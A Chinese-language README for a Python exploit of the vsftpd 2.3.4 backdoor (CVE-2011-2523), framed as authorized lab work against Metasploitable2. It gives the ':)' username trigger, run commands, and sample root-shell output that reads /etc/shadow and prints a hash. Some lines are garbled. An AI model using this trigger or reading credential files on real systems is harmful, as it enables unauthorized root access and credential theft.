
从零开始用 Python 开发漏洞利用。不使用 Metasploit。不使用框架。针对授权实验目标,对真实 CVE 进行原始套接字级实现。
vsftpd(Very Secure FTP Daemon)是一款适用于类 Unix 平台的 FTP 服务器, 包括 Linux,基于 GNU 通用公共许可证分发。
2011 年 7 月,人们发现 vsftpd 2.3.4 版本——该版本在 2011 年 6 月 30 日至 7 月 3 日期间可供下载——已被入侵。 一名未知攻击者获取了 vsftpd 分发服务器的访问权限,并在源代码交付给用户之前 直接向其中注入了后门。
这并非 vsftpd 设计上的缺陷。这是一次供应链攻击—— 合法软件被替换为恶意篡改的版本。
注入的后门代码在登录过程中监控 FTP 用户名字段。
如果用户名中包含 :)(笑脸符号),后门会在目标机器上生成一个
绑定到 6200 端口的 root shell——无需任何身份验证。
攻击流程:
攻击者 → 21 端口(FTP)→ 发送包含 :) 的 USER → 后门触发 → root shell 在 6200 端口开启
攻击者 → 6200 端口 → 完整的交互式 root shell
CWE 分类: CWE-78 — 操作系统命令中使用的特殊元素的不当中和(OS 命令注入)
此漏洞利用程序完全使用纯 Python 从零编写,仅使用标准库(socket)。无需 Metasploit。无需漏洞利用框架。无外部依赖。
分步说明:
:) 的恶意 FTP 用户名以触发后门# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
示例输出:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| 场景 | 行为 |
|---|---|
| 21 端口关闭 | 输出 "Port is closed",干净退出 |
| 连接超时 | 输出 "Connection timed out",干净退出 |
| 无效的主机名/IP | 输出 "Invalid target",干净退出 |
| vsftpd 版本错误 | 输出版本不匹配消息,干净退出 |
| 6200 端口不可达 | 输出后门失败消息,干净退出 |
此漏洞利用程序严格出于教育目的开发, 仅用于经授权的安全研究。
仅在完全隔离的实验环境中,针对本地 Metasploitable2 虚拟机 进行构建和测试。
请勿对任何您不拥有或未获得明确书面许可进行测试的系统使用此程序。未经授权的使用根据《计算机欺诈与滥用法》(CFAA)及全球同等法律属于违法行为。
作者对滥用此代码不承担任何责任。
Rushikesh Bhujbal
安全研究与漏洞利用开发
GitHub